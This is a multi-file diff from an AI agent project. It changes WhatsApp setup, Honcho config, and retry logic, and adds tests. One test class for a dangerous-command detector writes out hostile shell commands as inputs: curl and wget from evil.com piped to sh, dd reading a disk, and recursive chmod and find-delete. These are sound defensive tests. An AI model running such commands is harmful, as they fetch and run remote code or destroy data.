if prompt_yes_no("Enable WhatsApp now?", True):
|
||||
save_env_value("WHATSAPP_ENABLED", "true")
|
||||
print_success("WhatsApp enabled")
|
||||
|
||||
allowed_users = prompt(" Your phone number (e.g. 15551234567, comma-separated for multiple)")
|
||||
if allowed_users:
|
||||
save_env_value("WHATSAPP_ALLOWED_USERS", allowed_users.replace(" ", ""))
|
||||
print_success("WhatsApp allowlist configured")
|
||||
else:
|
||||
print_info("⚠️ No allowlist set — anyone who messages your WhatsApp will get a response!")
|
||||
|
||||
print_info("Start the gateway with 'hermes gateway' and scan the QR code.")
|
||||
print_info("Run 'hermes whatsapp' to choose your mode (separate bot number")
|
||||
print_info("or personal self-chat) and pair via QR code.")
|
||||
|
||||
# Gateway reminder
|
||||
any_messaging = (
|
||||
|
||||
@@ -97,15 +97,27 @@ class HonchoClientConfig:
|
||||
)
|
||||
linked_hosts = host_block.get("linkedHosts", [])
|
||||
|
||||
api_key = raw.get("apiKey") or os.environ.get("HONCHO_API_KEY")
|
||||
|
||||
# Auto-enable when API key is present (unless explicitly disabled)
|
||||
# This matches user expectations: setting an API key should activate the feature.
|
||||
explicit_enabled = raw.get("enabled")
|
||||
if explicit_enabled is None:
|
||||
# Not explicitly set in config -> auto-enable if API key exists
|
||||
enabled = bool(api_key)
|
||||
else:
|
||||
# Respect explicit setting
|
||||
enabled = explicit_enabled
|
||||
|
||||
return cls(
|
||||
host=host,
|
||||
workspace_id=workspace,
|
||||
api_key=raw.get("apiKey") or os.environ.get("HONCHO_API_KEY"),
|
||||
api_key=api_key,
|
||||
environment=raw.get("environment", "production"),
|
||||
peer_name=raw.get("peerName"),
|
||||
ai_peer=ai_peer,
|
||||
linked_hosts=linked_hosts,
|
||||
enabled=raw.get("enabled", False),
|
||||
enabled=enabled,
|
||||
save_messages=raw.get("saveMessages", True),
|
||||
context_tokens=raw.get("contextTokens") or host_block.get("contextTokens"),
|
||||
session_strategy=raw.get("sessionStrategy", "per-directory"),
|
||||
|
||||
11
run_agent.py
11
run_agent.py
@@ -2273,6 +2273,7 @@ class AIAgent:
|
||||
api_msg["reasoning_content"] = reasoning
|
||||
api_msg.pop("reasoning", None)
|
||||
api_msg.pop("finish_reason", None)
|
||||
api_msg.pop("_flush_sentinel", None)
|
||||
api_messages.append(api_msg)
|
||||
|
||||
if self._cached_system_prompt:
|
||||
@@ -2441,7 +2442,7 @@ class AIAgent:
|
||||
if self.tool_progress_callback:
|
||||
try:
|
||||
preview = _build_tool_preview(function_name, function_args)
|
||||
self.tool_progress_callback(function_name, preview)
|
||||
self.tool_progress_callback(function_name, preview, function_args)
|
||||
except Exception as cb_err:
|
||||
logging.debug(f"Tool progress callback error: {cb_err}")
|
||||
|
||||
@@ -2776,8 +2777,8 @@ class AIAgent:
|
||||
self._turns_since_memory = 0
|
||||
self._iters_since_skill = 0
|
||||
|
||||
# Initialize conversation
|
||||
messages = conversation_history or []
|
||||
# Initialize conversation (copy to avoid mutating the caller's list)
|
||||
messages = list(conversation_history) if conversation_history else []
|
||||
|
||||
# Hydrate todo store from conversation history (gateway creates a fresh
|
||||
# AIAgent per message, so the in-memory store is empty -- we need to
|
||||
@@ -3067,7 +3068,7 @@ class AIAgent:
|
||||
print(f"{self.log_prefix} 📝 Provider message: {error_msg[:200]}")
|
||||
print(f"{self.log_prefix} ⏱️ Response time: {api_duration:.2f}s (fast response often indicates rate limiting)")
|
||||
|
||||
if retry_count > max_retries:
|
||||
if retry_count >= max_retries:
|
||||
print(f"{self.log_prefix}❌ Max retries ({max_retries}) exceeded for invalid responses. Giving up.")
|
||||
logging.error(f"{self.log_prefix}Invalid API response after {max_retries} retries.")
|
||||
self._persist_session(messages, conversation_history)
|
||||
@@ -3339,7 +3340,7 @@ class AIAgent:
|
||||
"partial": True
|
||||
}
|
||||
|
||||
if retry_count > max_retries:
|
||||
if retry_count >= max_retries:
|
||||
print(f"{self.log_prefix}❌ Max retries ({max_retries}) exceeded. Giving up.")
|
||||
logging.error(f"{self.log_prefix}API call failed after {max_retries} retries. Last error: {api_error}")
|
||||
logging.error(f"{self.log_prefix}Request details - Messages: {len(api_messages)}, Approx tokens: {approx_tokens:,}")
|
||||
|
||||
@@ -34,6 +34,7 @@ function getArg(name, defaultVal) {
|
||||
const PORT = parseInt(getArg('port', '3000'), 10);
|
||||
const SESSION_DIR = getArg('session', path.join(process.env.HOME || '~', '.hermes', 'whatsapp', 'session'));
|
||||
const PAIR_ONLY = args.includes('--pair-only');
|
||||
const WHATSAPP_MODE = getArg('mode', process.env.WHATSAPP_MODE || 'self-chat'); // "bot" or "self-chat"
|
||||
const ALLOWED_USERS = (process.env.WHATSAPP_ALLOWED_USERS || '').split(',').map(s => s.trim()).filter(Boolean);
|
||||
|
||||
mkdirSync(SESSION_DIR, { recursive: true });
|
||||
@@ -110,11 +111,16 @@ async function startSocket() {
|
||||
const isGroup = chatId.endsWith('@g.us');
|
||||
const senderNumber = senderId.replace(/@.*/, '');
|
||||
|
||||
// Skip own messages UNLESS it's a self-chat ("Message Yourself")
|
||||
// Handle fromMe messages based on mode
|
||||
if (msg.key.fromMe) {
|
||||
// Always skip in groups and status
|
||||
if (isGroup || chatId.includes('status')) continue;
|
||||
// In DMs: only allow self-chat (remoteJid matches our own number)
|
||||
|
||||
if (WHATSAPP_MODE === 'bot') {
|
||||
// Bot mode: separate number. ALL fromMe are echo-backs of our own replies — skip.
|
||||
continue;
|
||||
}
|
||||
|
||||
// Self-chat mode: only allow messages in the user's own self-chat
|
||||
const myNumber = (sock.user?.id || '').replace(/:.*@/, '@').replace(/@.*/, '');
|
||||
const chatNumber = chatId.replace(/@.*/, '');
|
||||
const isSelfChat = myNumber && chatNumber === myNumber;
|
||||
@@ -270,7 +276,7 @@ if (PAIR_ONLY) {
|
||||
startSocket();
|
||||
} else {
|
||||
app.listen(PORT, () => {
|
||||
console.log(`🌉 WhatsApp bridge listening on port ${PORT}`);
|
||||
console.log(`🌉 WhatsApp bridge listening on port ${PORT} (mode: ${WHATSAPP_MODE})`);
|
||||
console.log(`📁 Session stored in: ${SESSION_DIR}`);
|
||||
if (ALLOWED_USERS.length > 0) {
|
||||
console.log(`🔒 Allowed users: ${ALLOWED_USERS.join(', ')}`);
|
||||
|
||||
@@ -14,6 +14,18 @@ if str(PROJECT_ROOT) not in sys.path:
|
||||
sys.path.insert(0, str(PROJECT_ROOT))
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _isolate_hermes_home(tmp_path, monkeypatch):
|
||||
"""Redirect HERMES_HOME to a temp dir so tests never write to ~/.hermes/."""
|
||||
fake_home = tmp_path / "hermes_test"
|
||||
fake_home.mkdir()
|
||||
(fake_home / "sessions").mkdir()
|
||||
(fake_home / "cron").mkdir()
|
||||
(fake_home / "memories").mkdir()
|
||||
(fake_home / "skills").mkdir()
|
||||
monkeypatch.setenv("HERMES_HOME", str(fake_home))
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def tmp_dir(tmp_path):
|
||||
"""Provide a temporary directory that is cleaned up automatically."""
|
||||
|
||||
105
tests/test_honcho_client_config.py
Normal file
105
tests/test_honcho_client_config.py
Normal file
@@ -0,0 +1,105 @@
|
||||
"""Tests for Honcho client configuration."""
|
||||
|
||||
import json
|
||||
import os
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from honcho_integration.client import HonchoClientConfig
|
||||
|
||||
|
||||
class TestHonchoClientConfigAutoEnable:
|
||||
"""Test auto-enable behavior when API key is present."""
|
||||
|
||||
def test_auto_enables_when_api_key_present_no_explicit_enabled(self, tmp_path):
|
||||
"""When API key exists and enabled is not set, should auto-enable."""
|
||||
config_path = tmp_path / "config.json"
|
||||
config_path.write_text(json.dumps({
|
||||
"apiKey": "test-api-key-12345",
|
||||
# Note: no "enabled" field
|
||||
}))
|
||||
|
||||
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
|
||||
|
||||
assert cfg.api_key == "test-api-key-12345"
|
||||
assert cfg.enabled is True # Auto-enabled because API key exists
|
||||
|
||||
def test_respects_explicit_enabled_false(self, tmp_path):
|
||||
"""When enabled is explicitly False, should stay disabled even with API key."""
|
||||
config_path = tmp_path / "config.json"
|
||||
config_path.write_text(json.dumps({
|
||||
"apiKey": "test-api-key-12345",
|
||||
"enabled": False, # Explicitly disabled
|
||||
}))
|
||||
|
||||
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
|
||||
|
||||
assert cfg.api_key == "test-api-key-12345"
|
||||
assert cfg.enabled is False # Respects explicit setting
|
||||
|
||||
def test_respects_explicit_enabled_true(self, tmp_path):
|
||||
"""When enabled is explicitly True, should be enabled."""
|
||||
config_path = tmp_path / "config.json"
|
||||
config_path.write_text(json.dumps({
|
||||
"apiKey": "test-api-key-12345",
|
||||
"enabled": True,
|
||||
}))
|
||||
|
||||
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
|
||||
|
||||
assert cfg.api_key == "test-api-key-12345"
|
||||
assert cfg.enabled is True
|
||||
|
||||
def test_disabled_when_no_api_key_and_no_explicit_enabled(self, tmp_path):
|
||||
"""When no API key and enabled not set, should be disabled."""
|
||||
config_path = tmp_path / "config.json"
|
||||
config_path.write_text(json.dumps({
|
||||
"workspace": "test",
|
||||
# No apiKey, no enabled
|
||||
}))
|
||||
|
||||
# Clear env var if set
|
||||
env_key = os.environ.pop("HONCHO_API_KEY", None)
|
||||
try:
|
||||
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
|
||||
assert cfg.api_key is None
|
||||
assert cfg.enabled is False # No API key = not enabled
|
||||
finally:
|
||||
if env_key:
|
||||
os.environ["HONCHO_API_KEY"] = env_key
|
||||
|
||||
def test_auto_enables_with_env_var_api_key(self, tmp_path, monkeypatch):
|
||||
"""When API key is in env var (not config), should auto-enable."""
|
||||
config_path = tmp_path / "config.json"
|
||||
config_path.write_text(json.dumps({
|
||||
"workspace": "test",
|
||||
# No apiKey in config
|
||||
}))
|
||||
|
||||
monkeypatch.setenv("HONCHO_API_KEY", "env-api-key-67890")
|
||||
|
||||
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
|
||||
|
||||
assert cfg.api_key == "env-api-key-67890"
|
||||
assert cfg.enabled is True # Auto-enabled from env var API key
|
||||
|
||||
def test_from_env_always_enabled(self, monkeypatch):
|
||||
"""from_env() should always set enabled=True."""
|
||||
monkeypatch.setenv("HONCHO_API_KEY", "env-test-key")
|
||||
|
||||
cfg = HonchoClientConfig.from_env()
|
||||
|
||||
assert cfg.api_key == "env-test-key"
|
||||
assert cfg.enabled is True
|
||||
|
||||
def test_falls_back_to_env_when_no_config_file(self, tmp_path, monkeypatch):
|
||||
"""When config file doesn't exist, should fall back to from_env()."""
|
||||
nonexistent = tmp_path / "nonexistent.json"
|
||||
monkeypatch.setenv("HONCHO_API_KEY", "fallback-key")
|
||||
|
||||
cfg = HonchoClientConfig.from_global_config(config_path=nonexistent)
|
||||
|
||||
assert cfg.api_key == "fallback-key"
|
||||
assert cfg.enabled is True # from_env() sets enabled=True
|
||||
@@ -758,3 +758,140 @@ class TestRunConversation:
|
||||
)
|
||||
result = agent.run_conversation("search something")
|
||||
mock_compress.assert_called_once()
|
||||
|
||||
|
||||
class TestRetryExhaustion:
|
||||
"""Regression: retry_count > max_retries was dead code (off-by-one).
|
||||
|
||||
When retries were exhausted the condition never triggered, causing
|
||||
the loop to exit and fall through to response.choices[0] on an
|
||||
invalid response, raising IndexError.
|
||||
"""
|
||||
|
||||
def _setup_agent(self, agent):
|
||||
agent._cached_system_prompt = "You are helpful."
|
||||
agent._use_prompt_caching = False
|
||||
agent.tool_delay = 0
|
||||
agent.compression_enabled = False
|
||||
agent.save_trajectories = False
|
||||
|
||||
@staticmethod
|
||||
def _make_fast_time_mock():
|
||||
"""Return a mock time module where sleep loops exit instantly."""
|
||||
mock_time = MagicMock()
|
||||
_t = [1000.0]
|
||||
|
||||
def _advancing_time():
|
||||
_t[0] += 500.0 # jump 500s per call so sleep_end is always in the past
|
||||
return _t[0]
|
||||
|
||||
mock_time.time.side_effect = _advancing_time
|
||||
mock_time.sleep = MagicMock() # no-op
|
||||
mock_time.monotonic.return_value = 12345.0
|
||||
return mock_time
|
||||
|
||||
def test_invalid_response_returns_error_not_crash(self, agent):
|
||||
"""Exhausted retries on invalid (empty choices) response must not IndexError."""
|
||||
self._setup_agent(agent)
|
||||
# Return response with empty choices every time
|
||||
bad_resp = SimpleNamespace(
|
||||
choices=[],
|
||||
model="test/model",
|
||||
usage=None,
|
||||
)
|
||||
agent.client.chat.completions.create.return_value = bad_resp
|
||||
with (
|
||||
patch.object(agent, "_persist_session"),
|
||||
patch.object(agent, "_save_trajectory"),
|
||||
patch.object(agent, "_cleanup_task_resources"),
|
||||
patch("run_agent.time", self._make_fast_time_mock()),
|
||||
):
|
||||
result = agent.run_conversation("hello")
|
||||
assert result.get("failed") is True or result.get("completed") is False
|
||||
|
||||
def test_api_error_raises_after_retries(self, agent):
|
||||
"""Exhausted retries on API errors must raise, not fall through."""
|
||||
self._setup_agent(agent)
|
||||
agent.client.chat.completions.create.side_effect = RuntimeError("rate limited")
|
||||
with (
|
||||
patch.object(agent, "_persist_session"),
|
||||
patch.object(agent, "_save_trajectory"),
|
||||
patch.object(agent, "_cleanup_task_resources"),
|
||||
patch("run_agent.time", self._make_fast_time_mock()),
|
||||
):
|
||||
with pytest.raises(RuntimeError, match="rate limited"):
|
||||
agent.run_conversation("hello")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Flush sentinel leak
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestFlushSentinelNotLeaked:
|
||||
"""_flush_sentinel must be stripped before sending messages to the API."""
|
||||
|
||||
def test_flush_sentinel_stripped_from_api_messages(self, agent_with_memory_tool):
|
||||
"""Verify _flush_sentinel is not sent to the API provider."""
|
||||
agent = agent_with_memory_tool
|
||||
agent._memory_store = MagicMock()
|
||||
agent._memory_flush_min_turns = 1
|
||||
agent._user_turn_count = 10
|
||||
agent._cached_system_prompt = "system"
|
||||
|
||||
messages = [
|
||||
{"role": "user", "content": "hello"},
|
||||
{"role": "assistant", "content": "hi"},
|
||||
{"role": "user", "content": "remember this"},
|
||||
]
|
||||
|
||||
# Mock the API to return a simple response (no tool calls)
|
||||
mock_msg = SimpleNamespace(content="OK", tool_calls=None)
|
||||
mock_choice = SimpleNamespace(message=mock_msg)
|
||||
mock_response = SimpleNamespace(choices=[mock_choice])
|
||||
agent.client.chat.completions.create.return_value = mock_response
|
||||
|
||||
# Bypass auxiliary client so flush uses agent.client directly
|
||||
with patch("agent.auxiliary_client.get_text_auxiliary_client", return_value=(None, None)):
|
||||
agent.flush_memories(messages, min_turns=0)
|
||||
|
||||
# Check what was actually sent to the API
|
||||
call_args = agent.client.chat.completions.create.call_args
|
||||
assert call_args is not None, "flush_memories never called the API"
|
||||
api_messages = call_args.kwargs.get("messages") or call_args[1].get("messages")
|
||||
for msg in api_messages:
|
||||
assert "_flush_sentinel" not in msg, (
|
||||
f"_flush_sentinel leaked to API in message: {msg}"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Conversation history mutation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestConversationHistoryNotMutated:
|
||||
"""run_conversation must not mutate the caller's conversation_history list."""
|
||||
|
||||
def test_caller_list_unchanged_after_run(self, agent):
|
||||
"""Passing conversation_history should not modify the original list."""
|
||||
history = [
|
||||
{"role": "user", "content": "previous question"},
|
||||
{"role": "assistant", "content": "previous answer"},
|
||||
]
|
||||
original_len = len(history)
|
||||
|
||||
resp = _mock_response(content="new answer", finish_reason="stop")
|
||||
agent.client.chat.completions.create.return_value = resp
|
||||
|
||||
with (
|
||||
patch.object(agent, "_persist_session"),
|
||||
patch.object(agent, "_save_trajectory"),
|
||||
patch.object(agent, "_cleanup_task_resources"),
|
||||
):
|
||||
result = agent.run_conversation("new question", conversation_history=history)
|
||||
|
||||
# Caller's list must be untouched
|
||||
assert len(history) == original_len, (
|
||||
f"conversation_history was mutated: expected {original_len} items, got {len(history)}"
|
||||
)
|
||||
# Result should have more messages than the original history
|
||||
assert len(result["messages"]) > original_len
|
||||
|
||||
@@ -89,6 +89,38 @@ def test_resolve_runtime_provider_auto_uses_custom_config_base_url(monkeypatch):
|
||||
assert resolved["base_url"] == "https://custom.example/v1"
|
||||
|
||||
|
||||
def test_openrouter_key_takes_priority_over_openai_key(monkeypatch):
|
||||
"""OPENROUTER_API_KEY should be used over OPENAI_API_KEY when both are set.
|
||||
|
||||
Regression test for #289: users with OPENAI_API_KEY in .bashrc had it
|
||||
sent to OpenRouter instead of their OPENROUTER_API_KEY.
|
||||
"""
|
||||
monkeypatch.setattr(rp, "resolve_provider", lambda *a, **k: "openrouter")
|
||||
monkeypatch.setattr(rp, "_get_model_config", lambda: {})
|
||||
monkeypatch.delenv("OPENAI_BASE_URL", raising=False)
|
||||
monkeypatch.delenv("OPENROUTER_BASE_URL", raising=False)
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "sk-openai-should-lose")
|
||||
monkeypatch.setenv("OPENROUTER_API_KEY", "sk-or-should-win")
|
||||
|
||||
resolved = rp.resolve_runtime_provider(requested="openrouter")
|
||||
|
||||
assert resolved["api_key"] == "sk-or-should-win"
|
||||
|
||||
|
||||
def test_openai_key_used_when_no_openrouter_key(monkeypatch):
|
||||
"""OPENAI_API_KEY is used as fallback when OPENROUTER_API_KEY is not set."""
|
||||
monkeypatch.setattr(rp, "resolve_provider", lambda *a, **k: "openrouter")
|
||||
monkeypatch.setattr(rp, "_get_model_config", lambda: {})
|
||||
monkeypatch.delenv("OPENAI_BASE_URL", raising=False)
|
||||
monkeypatch.delenv("OPENROUTER_BASE_URL", raising=False)
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "sk-openai-fallback")
|
||||
monkeypatch.delenv("OPENROUTER_API_KEY", raising=False)
|
||||
|
||||
resolved = rp.resolve_runtime_provider(requested="openrouter")
|
||||
|
||||
assert resolved["api_key"] == "sk-openai-fallback"
|
||||
|
||||
|
||||
def test_resolve_requested_provider_precedence(monkeypatch):
|
||||
monkeypatch.setenv("HERMES_INFERENCE_PROVIDER", "nous")
|
||||
monkeypatch.setattr(rp, "_get_model_config", lambda: {"provider": "openai-codex"})
|
||||
|
||||
@@ -155,3 +155,37 @@ class TestRmRecursiveFlagVariants:
|
||||
def test_sudo_rm_rf(self):
|
||||
assert detect_dangerous_command("sudo rm -rf /tmp")[0] is True
|
||||
|
||||
|
||||
class TestMultilineBypass:
|
||||
"""Newlines in commands must not bypass dangerous pattern detection."""
|
||||
|
||||
def test_curl_pipe_sh_with_newline(self):
|
||||
cmd = "curl http://evil.com \\\n| sh"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline curl|sh bypass not caught: {cmd!r}"
|
||||
|
||||
def test_wget_pipe_bash_with_newline(self):
|
||||
cmd = "wget http://evil.com \\\n| bash"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline wget|bash bypass not caught: {cmd!r}"
|
||||
|
||||
def test_dd_with_newline(self):
|
||||
cmd = "dd \\\nif=/dev/sda of=/tmp/disk.img"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline dd bypass not caught: {cmd!r}"
|
||||
|
||||
def test_chmod_recursive_with_newline(self):
|
||||
cmd = "chmod --recursive \\\n777 /var"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline chmod bypass not caught: {cmd!r}"
|
||||
|
||||
def test_find_exec_rm_with_newline(self):
|
||||
cmd = "find /tmp \\\n-exec rm {} \\;"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline find -exec rm bypass not caught: {cmd!r}"
|
||||
|
||||
def test_find_delete_with_newline(self):
|
||||
cmd = "find . -name '*.tmp' \\\n-delete"
|
||||
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||
assert is_dangerous is True, f"multiline find -delete bypass not caught: {cmd!r}"
|
||||
|
||||
|
||||
@@ -26,9 +26,11 @@ class TestDebugSessionDisabled:
|
||||
|
||||
def test_save_noop(self, tmp_path):
|
||||
ds = DebugSession("test_tool", env_var="FAKE_DEBUG_VAR_XYZ")
|
||||
ds.log_dir = tmp_path
|
||||
log_dir = tmp_path / "debug_logs"
|
||||
log_dir.mkdir()
|
||||
ds.log_dir = log_dir
|
||||
ds.save()
|
||||
assert list(tmp_path.iterdir()) == []
|
||||
assert list(log_dir.iterdir()) == []
|
||||
|
||||
def test_get_session_info_disabled(self):
|
||||
ds = DebugSession("test_tool", env_var="FAKE_DEBUG_VAR_XYZ")
|
||||
|
||||
@@ -67,10 +67,18 @@ class TestReadResult:
|
||||
def test_to_dict_omits_defaults(self):
|
||||
r = ReadResult()
|
||||
d = r.to_dict()
|
||||
assert "content" not in d # empty string omitted
|
||||
assert "error" not in d # None omitted
|
||||
assert "similar_files" not in d # empty list omitted
|
||||
|
||||
def test_to_dict_preserves_empty_content(self):
|
||||
"""Empty file should still have content key in the dict."""
|
||||
r = ReadResult(content="", total_lines=0, file_size=0)
|
||||
d = r.to_dict()
|
||||
assert "content" in d
|
||||
assert d["content"] == ""
|
||||
assert d["total_lines"] == 0
|
||||
assert d["file_size"] == 0
|
||||
|
||||
def test_to_dict_includes_values(self):
|
||||
r = ReadResult(content="hello", total_lines=10, file_size=50, truncated=True)
|
||||
d = r.to_dict()
|
||||
|
||||
126
tests/tools/test_skills_hub_clawhub.py
Normal file
126
tests/tools/test_skills_hub_clawhub.py
Normal file
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
from tools.skills_hub import ClawHubSource
|
||||
|
||||
|
||||
class _MockResponse:
|
||||
def __init__(self, status_code=200, json_data=None, text=""):
|
||||
self.status_code = status_code
|
||||
self._json_data = json_data
|
||||
self.text = text
|
||||
|
||||
def json(self):
|
||||
return self._json_data
|
||||
|
||||
|
||||
class TestClawHubSource(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.src = ClawHubSource()
|
||||
|
||||
@patch("tools.skills_hub._write_index_cache")
|
||||
@patch("tools.skills_hub._read_index_cache", return_value=None)
|
||||
@patch("tools.skills_hub.httpx.get")
|
||||
def test_search_uses_new_endpoint_and_parses_items(self, mock_get, _mock_read_cache, _mock_write_cache):
|
||||
mock_get.return_value = _MockResponse(
|
||||
status_code=200,
|
||||
json_data={
|
||||
"items": [
|
||||
{
|
||||
"slug": "caldav-calendar",
|
||||
"displayName": "CalDAV Calendar",
|
||||
"summary": "Calendar integration",
|
||||
"tags": ["calendar", "productivity"],
|
||||
}
|
||||
]
|
||||
},
|
||||
)
|
||||
|
||||
results = self.src.search("caldav", limit=5)
|
||||
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0].identifier, "caldav-calendar")
|
||||
self.assertEqual(results[0].name, "CalDAV Calendar")
|
||||
self.assertEqual(results[0].description, "Calendar integration")
|
||||
|
||||
mock_get.assert_called_once()
|
||||
args, kwargs = mock_get.call_args
|
||||
self.assertTrue(args[0].endswith("/skills"))
|
||||
self.assertEqual(kwargs["params"], {"search": "caldav", "limit": 5})
|
||||
|
||||
@patch("tools.skills_hub.httpx.get")
|
||||
def test_inspect_maps_display_name_and_summary(self, mock_get):
|
||||
mock_get.return_value = _MockResponse(
|
||||
status_code=200,
|
||||
json_data={
|
||||
"slug": "caldav-calendar",
|
||||
"displayName": "CalDAV Calendar",
|
||||
"summary": "Calendar integration",
|
||||
"tags": ["calendar"],
|
||||
},
|
||||
)
|
||||
|
||||
meta = self.src.inspect("caldav-calendar")
|
||||
|
||||
self.assertIsNotNone(meta)
|
||||
self.assertEqual(meta.name, "CalDAV Calendar")
|
||||
self.assertEqual(meta.description, "Calendar integration")
|
||||
self.assertEqual(meta.identifier, "caldav-calendar")
|
||||
|
||||
@patch("tools.skills_hub.httpx.get")
|
||||
def test_fetch_resolves_latest_version_and_downloads_raw_files(self, mock_get):
|
||||
def side_effect(url, *args, **kwargs):
|
||||
if url.endswith("/skills/caldav-calendar"):
|
||||
return _MockResponse(
|
||||
status_code=200,
|
||||
json_data={
|
||||
"slug": "caldav-calendar",
|
||||
"latestVersion": {"version": "1.0.1"},
|
||||
},
|
||||
)
|
||||
if url.endswith("/skills/caldav-calendar/versions/1.0.1"):
|
||||
return _MockResponse(
|
||||
status_code=200,
|
||||
json_data={
|
||||
"files": [
|
||||
{"path": "SKILL.md", "rawUrl": "https://files.example/skill-md"},
|
||||
{"path": "README.md", "content": "hello"},
|
||||
]
|
||||
},
|
||||
)
|
||||
if url == "https://files.example/skill-md":
|
||||
return _MockResponse(status_code=200, text="# Skill")
|
||||
return _MockResponse(status_code=404, json_data={})
|
||||
|
||||
mock_get.side_effect = side_effect
|
||||
|
||||
bundle = self.src.fetch("caldav-calendar")
|
||||
|
||||
self.assertIsNotNone(bundle)
|
||||
self.assertEqual(bundle.name, "caldav-calendar")
|
||||
self.assertIn("SKILL.md", bundle.files)
|
||||
self.assertEqual(bundle.files["SKILL.md"], "# Skill")
|
||||
self.assertEqual(bundle.files["README.md"], "hello")
|
||||
|
||||
@patch("tools.skills_hub.httpx.get")
|
||||
def test_fetch_falls_back_to_versions_list(self, mock_get):
|
||||
def side_effect(url, *args, **kwargs):
|
||||
if url.endswith("/skills/caldav-calendar"):
|
||||
return _MockResponse(status_code=200, json_data={"slug": "caldav-calendar"})
|
||||
if url.endswith("/skills/caldav-calendar/versions"):
|
||||
return _MockResponse(status_code=200, json_data=[{"version": "2.0.0"}])
|
||||
if url.endswith("/skills/caldav-calendar/versions/2.0.0"):
|
||||
return _MockResponse(status_code=200, json_data={"files": {"SKILL.md": "# Skill"}})
|
||||
return _MockResponse(status_code=404, json_data={})
|
||||
|
||||
mock_get.side_effect = side_effect
|
||||
|
||||
bundle = self.src.fetch("caldav-calendar")
|
||||
self.assertIsNotNone(bundle)
|
||||
self.assertEqual(bundle.files["SKILL.md"], "# Skill")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
62
tests/tools/test_terminal_disk_usage.py
Normal file
62
tests/tools/test_terminal_disk_usage.py
Normal file
@@ -0,0 +1,62 @@
|
||||
"""Tests for get_active_environments_info disk usage calculation."""
|
||||
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch, MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from tools.terminal_tool import get_active_environments_info
|
||||
|
||||
# 1 MiB of data so the rounded MB value is clearly distinguishable
|
||||
_1MB = b"x" * (1024 * 1024)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def fake_scratch(tmp_path):
|
||||
"""Create fake hermes scratch directories with known sizes."""
|
||||
# Task A: 1 MiB
|
||||
task_a_dir = tmp_path / "hermes-sandbox-aaaaaaaa"
|
||||
task_a_dir.mkdir()
|
||||
(task_a_dir / "data.bin").write_bytes(_1MB)
|
||||
|
||||
# Task B: 1 MiB
|
||||
task_b_dir = tmp_path / "hermes-sandbox-bbbbbbbb"
|
||||
task_b_dir.mkdir()
|
||||
(task_b_dir / "data.bin").write_bytes(_1MB)
|
||||
|
||||
return tmp_path
|
||||
|
||||
|
||||
class TestDiskUsageGlob:
|
||||
def test_only_counts_matching_task_dirs(self, fake_scratch):
|
||||
"""Each task should only count its own directories, not all hermes-* dirs."""
|
||||
fake_envs = {
|
||||
"aaaaaaaa-1111-2222-3333-444444444444": MagicMock(),
|
||||
}
|
||||
|
||||
with (
|
||||
patch("tools.terminal_tool._active_environments", fake_envs),
|
||||
patch("tools.terminal_tool._get_scratch_dir", return_value=fake_scratch),
|
||||
):
|
||||
info = get_active_environments_info()
|
||||
|
||||
# Task A only: ~1.0 MB. With the bug (hardcoded hermes-*),
|
||||
# it would also count task B -> ~2.0 MB.
|
||||
assert info["total_disk_usage_mb"] == pytest.approx(1.0, abs=0.1)
|
||||
|
||||
def test_multiple_tasks_no_double_counting(self, fake_scratch):
|
||||
"""With 2 active tasks, each should count only its own dirs."""
|
||||
fake_envs = {
|
||||
"aaaaaaaa-1111-2222-3333-444444444444": MagicMock(),
|
||||
"bbbbbbbb-5555-6666-7777-888888888888": MagicMock(),
|
||||
}
|
||||
|
||||
with (
|
||||
patch("tools.terminal_tool._active_environments", fake_envs),
|
||||
patch("tools.terminal_tool._get_scratch_dir", return_value=fake_scratch),
|
||||
):
|
||||
info = get_active_environments_info()
|
||||
|
||||
# Should be ~2.0 MB total (1 MB per task).
|
||||
# With the bug, each task globs everything -> ~4.0 MB.
|
||||
assert info["total_disk_usage_mb"] == pytest.approx(2.0, abs=0.1)
|
||||
80
tests/tools/test_windows_compat.py
Normal file
80
tests/tools/test_windows_compat.py
Normal file
@@ -0,0 +1,80 @@
|
||||
"""Tests for Windows compatibility of process management code.
|
||||
|
||||
Verifies that os.setsid and os.killpg are never called unconditionally,
|
||||
and that each module uses a platform guard before invoking POSIX-only functions.
|
||||
"""
|
||||
|
||||
import ast
|
||||
import pytest
|
||||
from pathlib import Path
|
||||
|
||||
# Files that must have Windows-safe process management
|
||||
GUARDED_FILES = [
|
||||
"tools/environments/local.py",
|
||||
"tools/process_registry.py",
|
||||
"tools/code_execution_tool.py",
|
||||
"gateway/platforms/whatsapp.py",
|
||||
]
|
||||
|
||||
PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent
|
||||
|
||||
|
||||
def _get_preexec_fn_values(filepath: Path) -> list:
|
||||
